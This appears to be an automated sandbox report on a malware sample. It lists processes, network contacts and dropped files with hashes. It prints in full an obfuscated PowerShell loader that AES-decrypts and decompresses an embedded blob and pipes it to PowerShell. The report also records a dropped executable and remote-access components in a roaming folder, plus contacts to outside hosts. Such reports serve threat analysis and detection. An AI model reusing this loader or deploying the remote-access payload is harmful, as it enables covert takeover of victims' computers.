keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell - }

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD

C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe

"C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe"

Network

Country Destination Domain Proto
US 138.91.171.81:80 tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 vass.us udp
US 188.114.97.2:443 vass.us tcp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 2.97.114.188.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 5.181.159.27:443 tcp
US 8.8.8.8:53 23.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 27.159.181.5.in-addr.arpa udp
US 8.8.8.8:53 231.1.26.104.in-addr.arpa udp
US 8.8.8.8:53 69.210.218.23.in-addr.arpa udp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 195.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 2.173.189.20.in-addr.arpa udp

Files

memory/4780-0-0x0000000071280000-0x0000000071A30000-memory.dmp

memory/4780-1-0x0000000002A10000-0x0000000002A20000-memory.dmp

memory/4780-2-0x0000000001170000-0x00000000011A6000-memory.dmp

memory/4780-3-0x0000000002A10000-0x0000000002A20000-memory.dmp

memory/4780-4-0x00000000053D0000-0x00000000059F8000-memory.dmp

memory/4780-5-0x0000000005270000-0x0000000005292000-memory.dmp

memory/4780-6-0x0000000005B70000-0x0000000005BD6000-memory.dmp

memory/4780-7-0x0000000005BE0000-0x0000000005C46000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3oug3f0.tyk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4780-17-0x0000000005C50000-0x0000000005FA4000-memory.dmp

memory/4780-18-0x0000000006260000-0x000000000627E000-memory.dmp

memory/4780-19-0x0000000006300000-0x000000000634C000-memory.dmp

memory/4780-20-0x0000000002A10000-0x0000000002A20000-memory.dmp

memory/4780-21-0x0000000007260000-0x00000000072F6000-memory.dmp

memory/4780-22-0x0000000006750000-0x000000000676A000-memory.dmp

memory/4780-23-0x00000000067B0000-0x00000000067D2000-memory.dmp

memory/4780-24-0x00000000078B0000-0x0000000007E54000-memory.dmp

memory/4780-28-0x0000000071280000-0x0000000071A30000-memory.dmp

memory/536-29-0x0000000071280000-0x0000000071A30000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 def65711d78669d7f8e69313be4acf2e
SHA1 6522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA512 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

memory/536-30-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/1408-31-0x0000000071280000-0x0000000071A30000-memory.dmp

memory/1408-32-0x0000000004660000-0x0000000004670000-memory.dmp

memory/1408-33-0x0000000004660000-0x0000000004670000-memory.dmp

memory/536-48-0x00000000063E0000-0x0000000006734000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5c55bcb4ffe78d272e87e0e214c43d6f
SHA1 ebe5e1c8ba5c2b214f55ff5b937b20cbc508bc2a
SHA256 ffe4d32fb6ede1c9f0f30a7ce67242166f489f9d7bf0ddd24013dae8bef0d8ce
SHA512 ec692cf68be6f88feab10c3ea72a572356b871bd6721fc8d77a2f2992416a90e061add4d0e5862efc18c4f4d326a8a3246fee5508ce30545fab7d5004ea7a860

memory/536-54-0x00000000052D0000-0x00000000052E0000-memory.dmp

memory/536-55-0x0000000008110000-0x000000000878A000-memory.dmp

memory/1408-56-0x0000000006DD0000-0x0000000006E14000-memory.dmp

memory/536-58-0x0000000071280000-0x0000000071A30000-memory.dmp

memory/1408-59-0x0000000006F60000-0x0000000006FD6000-memory.dmp

memory/1408-60-0x0000000004660000-0x0000000004670000-memory.dmp

memory/1408-62-0x000000007F320000-0x000000007F330000-memory.dmp

memory/1408-63-0x0000000007520000-0x0000000007552000-memory.dmp

memory/1408-65-0x000000006DCA0000-0x000000006DFF4000-memory.dmp

memory/1408-64-0x000000006DB40000-0x000000006DB8C000-memory.dmp

memory/1408-75-0x0000000007500000-0x000000000751E000-memory.dmp

memory/1408-76-0x0000000007560000-0x0000000007603000-memory.dmp

memory/1408-77-0x0000000007CE0000-0x0000000007CEA000-memory.dmp

memory/1408-78-0x0000000007D00000-0x0000000007D11000-memory.dmp

memory/1408-79-0x0000000007D60000-0x0000000007D72000-memory.dmp

memory/1408-80-0x0000000007D20000-0x0000000007D2A000-memory.dmp

C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe

MD5 8d9709ff7d9c83bd376e01912c734f0a
SHA1 e3c92713ce1d7eaa5e2b1fabeb06cdc0bb499294
SHA256 49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3
SHA512 042ad89ed2e15671f5df67766d11e1fa7ada8241d4513e7c8f0d77b983505d63ebfb39fefa590a2712b77d7024c04445390a8bf4999648f83dbab6b0f04eb2ee

C:\Users\Admin\AppData\Roaming\FaultDamage\PCICL32.DLL

MD5 00587238d16012152c2e951a087f2cc9
SHA1 c4e27a43075ce993ff6bb033360af386b2fc58ff
SHA256 63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8
SHA512 637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

C:\Users\Admin\AppData\Roaming\FaultDamage\pcichek.dll

MD5 a0b9388c5f18e27266a31f8c5765b263
SHA1 906f7e94f841d464d4da144f7c858fa2160e36db
SHA256 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA512 6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

C:\Users\Admin\AppData\Roaming\FaultDamage\pcicapi.dll

MD5 dcde2248d19c778a41aa165866dd52d0
SHA1 7ec84be84fe23f0b0093b647538737e1f19ebb03
SHA256 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512 c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

C:\Users\Admin\AppData\Roaming\FaultDamage\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\FaultDamage\NSM.LIC

MD5 7067af414215ee4c50bfcd3ea43c84f0
SHA1 c331d410672477844a4ca87f43a14e643c863af9
SHA256 2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12
SHA512 17b888087192bcea9f56128d0950423b1807e294d1c4f953d1bf0f5bd08e5f8e35afeee584ebf9233bfc44e0723db3661911415798159ac118c8a42aaf0b902f

C:\Users\Admin\AppData\Roaming\FaultDamage\client32.ini

MD5 bbaa3f64ab41cc6b8e3c04fe0c17849c
SHA1 0d2076ee4445e5ee6fdb15789b817e6a133b43fa
SHA256 643fa4dae006fd49339ca9b5f19e337e1d4e96fa2bddb01028ce8601e157c6fb
SHA512 555753c751a398dae0e6991cc35c166e7b2d84d453901ad7d79c9343784bf22ee45bb389f8cd3aff22e0cc5e36c20c1ba221dd63e1d10d3dc49f994b428a45f3

C:\Users\Admin\AppData\Roaming\FaultDamage\HTCTL32.DLL

MD5 2d3b207c8a48148296156e5725426c7f
SHA1 ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA256 edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
SHA512 55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

memory/1408-140-0x0000000071280000-0x0000000071A30000-memory.dmp